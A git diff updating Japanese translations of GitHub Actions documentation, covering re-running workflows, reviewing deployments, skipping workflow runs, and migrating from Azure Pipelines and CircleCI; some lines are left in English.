+++ b/translations/ja-JP/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -17,9 +17,7 @@ versions:
 
 ## Re-running all the jobs in a workflow
 
-Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. 
-
-{% include tool-switcher %}
+Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run.
 
 {% webui %}
 
@@ -28,12 +26,10 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**
-    ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs** ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
 {% endif %}
 {% ifversion ghes < 3.3 or ghae %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.
-    ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
+1. ワークフローの右上隅にある [**Re-run jobs**] ドロップダウンメニューを使用して、[**Re-run all jobs**] を選択します。 ![[Re-run checks] ドロップダウンメニュー](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
 {% endif %}
 
 {% endwebui %}
@@ -42,13 +38,13 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 
 {% data reusables.cli.cli-learn-more %}
 
-To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run.  If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+失敗したワークフローの実行を再実行するには、`run rerun` サブコマンドを使用します。 `run-id` を、再実行する失敗した実行の ID に置き換えます。  `run-id` を指定しない場合、{% data variables.product.prodname_cli %} は、最近失敗した実行を選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh run rerun <em>run-id</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+ワークフロー実行の進行状況を表示するには、`run watch` サブコマンドを使用して、インタラクティブリストから実行を選択します。
 
 ```shell
 gh run watch
@@ -65,8 +61,7 @@ You can view the results from your previous attempts at running a workflow. You
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Any previous run attempts are shown in the left pane.
-    ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
+1. Any previous run attempts are shown in the left pane. ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
 1. Click an entry to view its results.
 
 {% endif %}
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/reviewing-deployments.md b/translations/ja-JP/content/actions/managing-workflow-runs/reviewing-deployments.md
index 0e164843de..ab7ee6acee 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/reviewing-deployments.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/reviewing-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing deployments
-intro: You can approve or reject jobs awaiting review.
+title: デプロイメントのレビュー
+intro: レビュー待ちのジョブを承認もしくは拒否できます。
 product: '{% data reusables.gated-features.environments %}'
 versions:
   fpt: '*'
@@ -10,19 +10,17 @@ versions:
 ---
 
 
-## About required reviews in workflows
+## ワークフローで必須のレビューについて
 
-Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, the workflow run will be automatically canceled.
+必須のレビュー担当者が設定された環境を参照するジョブは、開始前に承認を待ちます。 承認を待っている間のジョブは、ステータスが"Waiting"になります。 ジョブが30日以内に承認されなければ、そのワークフローは自動的にキャンセルされます。
 
 For more information about environments and required approvals, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %} For information about how to review deployments with the REST API, see "[Workflow Runs](/rest/reference/actions#workflow-runs)."{% endif %}
 
-## Approving or rejecting a job
+## ジョブの承認もしくは拒否
 
-1. Navigate to the workflow run that requires review. For more information about navigating to a workflow run, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-2. Click **Review deployments**. 
-   ![Review deployments](/assets/images/actions-review-deployments.png)
-3. Select the job environment(s) to approve or reject. Optionally, leave a comment.
-   ![Approve deployments](/assets/images/actions-approve-deployments.png)
-4. Approve or reject:
-   - To approve the job, click **Approve and deploy**. Once a job is approved (and any other environment protection rules have passed), the job will proceed. At this point, the job can access any secrets stored in the environment.
-   - To reject the job, click **Reject**. If a job is rejected, the workflow will fail.
+1. レビューを必要とするワークフローの実行へ移動してください。 ワークフローの実行への移動に関する詳しい情報については「[ワークフロー実行の履歴の表示](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
+2. **Review deployments（デプロイメントのレビュー）**をクリックしてください。 ![デプロイメントのレビュー](/assets/images/actions-review-deployments.png)
+3. 承認もしくは拒否するジョブ環境を選択してください。 コメントを残すこともできます。 ![デプロイメントの承認](/assets/images/actions-approve-deployments.png)
+4. 承認もしくは拒否してください。
+   - ジョブを承認するには、**Approve and deploy（承認してデプロイ）**をクリックしてください。 ジョブが承認されると（そして他の環境保護ルールをパスすれば）、ジョブは進行します。 この時点で、ジョブは環境に保存されている任意のシークレットにアクセスできます。
+   - ジョブを拒否するには、**Reject（拒否）**をクリックしてください。 ジョブが拒否されると、ワークフローは失敗します。
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md
index 54666daf39..5e028fafa8 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md
@@ -1,5 +1,5 @@
 ---
-title: Skipping workflow runs
+title: ワークフロー実行をスキップする
 intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message.
 versions:
   fpt: '*'
@@ -20,14 +20,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques
 * `[skip actions]`
 * `[actions skip]`
 
-Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`.
+または、コミットメッセージを 2 行の空行で終了し、その後に `skip-checks: true` または `skip-checks:true` のいずれかを続けることもできます。
 
-You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message.
+最初にリポジトリがパスするための特定のチェックを受けるように設定されている場合、プルリクエストをマージすることはできません。 プルリクエストをマージできるようにするには、コミットメッセージのスキップ命令なしでプルリクエストに新しいコミットをプッシュできます。
 
 {% note %}
 
-**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running.
+**注釈:** スキップ命令は、`push` および `pull_request` イベントにのみ適用されます。 たとえば、コミットメッセージに `[skip ci]` を追加しても、`on: pull_request_target` でトリガーされたワークフロー実行は停止されません。
 
 {% endnote %}
 
-Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. 詳しい情報については、「[ワークフローの無効化と有効化](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)」を参照してください。
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/index.md b/translations/ja-JP/content/actions/migrating-to-github-actions/index.md
index 54a6cff1d2..ce3e2863e8 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/index.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating to GitHub Actions
-shortTitle: Migrating to GitHub Actions
+title: GitHub Actionsへの移行
+shortTitle: GitHub Actionsへの移行
 intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
index 1821812d34..c37ec881e9 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Azure Pipelines to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Azure PipelinesからGitHub Actionsへの移行
+intro: '{% data variables.product.prodname_actions %}とAzure Pipelinesは、いくつかの点で設定が似ており、そのため{% data variables.product.prodname_actions %}への移行は比較的単純です。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
 versions:
@@ -20,41 +20,41 @@ shortTitle: Migrate from Azure Pipelines
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Azure Pipelinesと{% data variables.product.prodname_actions %}は、どちらも自動的にコードのビルド、テスト、公開、リリース、デプロイを行うワークフローを作成できます。 Azure Pipelinesと{% data variables.product.prodname_actions %}は、ワークフローの設定において似ているところがあります。
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- ワークフローの設定ファイルはYAMLで書かれ、コードのリポジトリに保存されます。
+- ワークフローには1つ以上のジョブが含まれます。
+- ジョブには1つ以上のステップもしくは個別のコマンドが含まれます。
+- ステップもしくはタスクは、再利用とコミュニティとの共有が可能です。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+詳しい情報については、「[{% data variables.product.prodname_actions %}の中核的概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)」を参照してください。
 
-## Key differences
+## 主要な差異
 
-When migrating from Azure Pipelines, consider the following differences:
+Azure Pipelinesから移行する際には、以下の差異を考慮してください。
 
-- Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor.
-- Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted.
-- Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files.
-- On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels.
+- Azure Pipelineはレガシーの_クラシックエディタ_をサポートしています。これはCIの設定を、YAMLファイルでパイプラインの定義を作成する代わりに、GUIのエディタで定義できるようにするものです。 {% data variables.product.prodname_actions %}はワークフローの定義にYAMLファイルを使い、グラフィカルなエディタはサポートしていません。
+- Azure Pipelinesでは、ジョブの定義中の一部の構造を省略できます。 たとえば、ジョブが1つだけしかないなら、ジョブを定義する必要はなく、ステップだけを定義すれば済みます。 {% data variables.product.prodname_actions %}は明示的な設定が必要であり、YAMLの構造は省略できません。
+- Azure PipelinesはYAMLファイル中で定義される_ステージ_をサポートしています。ステージは、デプロイメントのワークフローの作成に利用できます。 {% data variables.product.prodname_actions %}では、ステージは個別のYAMLワークフローファイルに分割しなければなりません。
+- オンプレミスのAzure Pipelinesビルドエージェントは、機能で選択できます。 {% data variables.product.prodname_actions %}のセルフホストランナーは、ラベルで選択できます。
 
-## Migrating jobs and steps
+## ジョブとステップの移行
 
-Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Azure Pipelinesのジョブとステップは、{% data variables.product.prodname_actions %}のジョブとステップによく似ています。 どちらのシステムでも、ジョブは以下の特徴を持ちます。
 
-* Jobs contain a series of steps that run sequentially.
-* Jobs run on separate virtual machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* ジョブは、順番に実行される一連のステップを持ちます。
+* ジョブは、個別の仮想マシンまたは個別のコンテナで実行されます。
+* ジョブは、デフォルトでは並列に実行されますが、順次実行するように設定することもできます。
 
-## Migrating script steps
+## スクリプトのステップの移行
 
-You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
+スクリプトやシェルのコマンドを、ワークフロー中のステップとして実行できます。 Azure Pipelinesでは、スクリプトのステップは`script`キー、あるいは`bash`、`powershell`、`pwsh`といったキーで指定できます。 スクリプトはまた、[Bashタスク](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops)あるいは[PowerShellタスク](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops)への入力としても指定できます。
 
-In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+{% data variables.product.prodname_actions %}では、すべてのスクリプトは`run`キーを使って指定されます。 特定のシェルを選択するには、スクリプトを提供する際に`shell`キーを指定します。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)」を参照してください。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -103,19 +103,19 @@ jobs:
 </tr>
 </table>
 
-## Differences in script error handling
+## スクリプトのエラー処理の差異
 
-In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration.
+Azure Pipelinesでは、`stderr`への出力があればスクリプトがエラーとなるように設定できます。 {% data variables.product.prodname_actions %}はこの設定をサポートしていません。
 
-{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %}は、可能な場合にはシェルを"fail fast"に設定します。これは、スクリプト中のコマンドの1つがエラーコードで終了した場合に即座にスクリプトを停止させるものです。 これに対し、Azure Pipelinesではエラーの際に即座に終了させるためには、明示的に設定しなければなりません。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)」を参照してください。
 
-## Differences in the default shell on Windows
+## Windows上でのデフォルトシェルの差異
 
-In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control.
+Azure Pipelinesでは、Windowsプラットフォーム上のスクリプトのためのデフォルトシェルはコマンドシェル(_cmd.exe_)です。 {% data variables.product.prodname_actions %}では、Windowsプラットフォーム上のスクリプトのためのデフォルトシェルはPowerShellです。 PowerShellは、組み込みコマンド、変数の展開、フロー制御で多少の差異があります。
 
-If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`.
+シンプルなコマンドを実行するなら、コマンドシェルのスクリプトを変更なしにPowerShellで実行できるかもしれません。 しかしほとんどの場合は、PowerShellの構文でスクリプトをアップデートするか、{% data variables.product.prodname_actions %}に対してスクリプトをPowerShellではなくコマンドシェルで実行するように指定することになります。 それには、`shell`を`cmd`と指定します。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -155,15 +155,15 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)."
+詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)」を参照してください。
 
-## Migrating conditionals and expression syntax
+## 条件と式の構文の移行
 
-Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key.
+Azure Pipelinesと{% data variables.product.prodname_actions %}は、どちらもステップを条件付きで実行できます。 Azure Pipelinesでは、条件式は`condition`キーを使って指定します。 {% data variables.product.prodname_actions %}では、条件式は`if`キーを使って指定します。
 
-Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}.
+Azure Pipelinesは、ステップを条件付きで実行するために、式の中で関数を使います。 それに対し、{% data variables.product.prodname_actions %}はinfix表記を使います。 たとえば、Azure Pipelinesにおける`eq`関数は、{% data variables.product.prodname_actions %}では`==`演算子に置き換えなければなりません。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -205,11 +205,11 @@ jobs:
 
 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-## Dependencies between jobs
+## ジョブ間の依存関係
 
-Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key.
+Azure Pipelinesと{% data variables.product.prodname_actions %}は、どちらもジョブの依存関係を設定できます。 どちらのシステムでも、デフォルトではジョブは並行に実行されますが、ジョブの依存関係を明示的に指定できます。 Azure Pipelinesでは、これは`dependsOn`キーで行います。 {% data variables.product.prodname_actions %}では、`needs`キーを使って行います。
 
-Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run.
+以下は、それぞれのシステムにおける構文の例です。 このワークフローは、`initial`という名前の最初のジョブを開始し、そのジョブが終わると`fanout1`と`fanout2`という名前の2つのジョブが実行されます。 最後に、それらのジョブが完了すると、`fanin`というジョブが実行されます。
 
 <table class="d-block">
 <tr>
@@ -280,13 +280,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)」を参照してください。
 
-## Migrating tasks to actions
+## タスクのアクションへの移行
 
-Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs.
+Azure Pipelinesは_タスク_を使います。これは、複数のワークフローで再利用できるアプリケーションのコンポーネントです。 {% data variables.product.prodname_actions %}は_アクション_を使います。これは、タスクの実行とワークフローのカスタマイズに利用できます。 どちらのシステムでも、実行するタスクやアクションの名前を、必要な入力のキー/値のペアとともに指定できます。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -332,4 +332,4 @@ jobs:
 </tr>
 </table>
 
-You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Creating actions](/actions/creating-actions)."
+ワークフロー中で利用できるアクションは、[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions)で見つけることも、独自のactionsを作成することもできます。 詳細については、「[アクションを作成する](/actions/creating-actions)」を参照してください。
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
index aa34d59cd5..40cc177d34 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from CircleCI to GitHub Actions
-intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.'
+title: CircleCIからGitHub Actionsへの移行
+intro: GitHub ActionsとCircleCIには設定に相似点があるので、GitHub Actionsへの移行は比較的単純明快です。
 redirect_from:
   - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
 versions:
@@ -20,68 +20,69 @@ shortTitle: Migrate from CircleCI
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+CircleCIと{% data variables.product.prodname_actions %}は、どちらも自動的にコードのビルド、テスト、公開、リリース、デプロイを行うワークフローを作成できます。 CircleCIと{% data variables.product.prodname_actions %}は、ワークフローの設定において似ているところがあります。
 
-- Workflow configuration files are written in YAML and stored in the repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- ワークフローの設定ファイルはYAMLで書かれ、リポジトリに保存されます。
+- ワークフローには1つ以上のジョブが含まれます。
+- ジョブには1つ以上のステップもしくは個別のコマンドが含まれます。
+- ステップもしくはタスクは、再利用とコミュニティとの共有が可能です。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+詳しい情報については、「[{% data variables.product.prodname_actions %}の中核的概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)」を参照してください。
 
-## Key differences
+## 主要な差異
 
-When migrating from CircleCI, consider the following differences:
+CircleCIから移行する際には、以下の差異を考慮してください。
 
-- CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}.
-- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
-{% else %}For more information about the Docker filesystem on {% data variables.product.product_name %}-hosted runners, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+- CircleCIの自動テストの並列性は、ユーザが指定したルールもしくは過去のタイミングの情報に基づいて、自動的にテストをグループ化します。 この機能は{% data variables.product.prodname_actions %}には組み込まれていません。
+- コンテナはユーザのマッピングが異なるので、Dockerコンテナ内で実行されるアクションは、権限の問題に敏感です。 これらの問題の多くは、*Dockerfile*中で`USER`命令を使わなければ回避できます。 {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
+{% else %}{% data variables.product.product_name %}ホストランナー上の Docker のファイルシステムに関する詳しい情報については「[{% data variables.product.product_name %} ホストランナーの仮想環境](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)」を参照してください。
 {% endif %}
 
-## Migrating workflows and jobs
+## ワークフローとジョブの移行
 
-CircleCI defines `workflows` in the *config.yml* file, which allows you to configure more than one workflow. {% data variables.product.product_name %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in *config.yml*.
+CircleCIは*config.yml*ファイル中で`workflows`を定義するので、複数のワークフローを設定できます。 {% data variables.product.product_name %}はワークフローごとに1つのワークフローファイルを必要とするので、結果として`workflows`を宣言する必要がありません。 それぞれのワークフローごとに、*config.yml*で内で設定された新しいワークフローファイルを作成しなければなりません。
 
-Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+CircleCIと{% data variables.product.prodname_actions %}は、どちらも似た構文を使って設定ファイル中で`jobs`を設定します。 CircleCIワークフロー中で`requires`を使ってジョブ間の依存関係を設定しているなら、相当する{% data variables.product.prodname_actions %}の`needs`構文を利用できます。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)」を参照してください。
 
-## Migrating orbs to actions
+## orbsからアクションへの移行
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.product_name %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see "[Creating actions](/actions/creating-actions)."
+CircleCIと{% data variables.product.prodname_actions %}は、どちらもワークフロー中のタスクを再利用し、共有するための仕組みを提供しています。 CircleCIはorbsという概念を利用します。これはYAMLで書かれ、ワークフロー中で再利用できるタスクを提供します。 {% data variables.product.prodname_actions %}はアクションと呼ばれる強力で柔軟な再利用できるコンポーネントを持っており、これはJavaScriptファイルもしくはDockerイメージで構築できます。 {% data variables.product.product_name %} の API やパブリックに利用可能なサードパーティ API との統合など、リポジトリと相互作用するカスタムコードを書いてアクションを作成することができます。 たとえば、アクションでnpmモジュールを公開する、緊急のIssueが発生したときにSMSアラートを送信する、本番対応のコードをデプロイすることなどが可能です。 詳細については、「[アクションを作成する](/actions/creating-actions)」を参照してください。
 
-CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using build matrixes. For more information about build matrixes, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)."
+CircleCIは、YAMLのアンカーとエイリアスでワークフローの部分を再利用できます。 {% data variables.product.prodname_actions %}はビルドマトリックスを使って、再利用性についての一般的な要求のほとんどをサポートします。 ビルドマトリックスに関する詳細な情報については「[複雑なワークフローを管理する](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)」を参照してください。
 
-## Using Docker images
+## Dockerイメージの利用
 
 
-Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image.
+CircleCIと{% data variables.product.prodname_actions %}は、どちらもDockerイメージ内でのステップの実行をサポートします。
 
-CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}.
+CircleCIは、共通の依存関係を持つ一連のビルド済みのイメージを提供します。 これらのイメージでは`USER`が`circleci`に設定されており、それが{% data variables.product.prodname_actions %}との権限の衝突を引き起こすことになります。
 
-We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need.
+{% data variables.product.prodname_actions %}への移行に際しては、CircleCIの構築済みイメージから離脱することをおすすめします。 多くの場合、必要な追加の依存関係のインストールにアクションを使うことができます。
 
 {% ifversion ghae %}
-For more information about the Docker filesystem, see "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+Docker ファイルシステムの詳細については、「[Docker コンテナファイルシステム](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)」を参照してください。
 
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-For more information about the Docker filesystem, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+Dockerのファイルシステムに関する詳しい情報については「[{% data variables.product.product_name %}ホストランナーの仮想環境](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)」を参照してください。
+ー
 
-For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted virtual environments, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
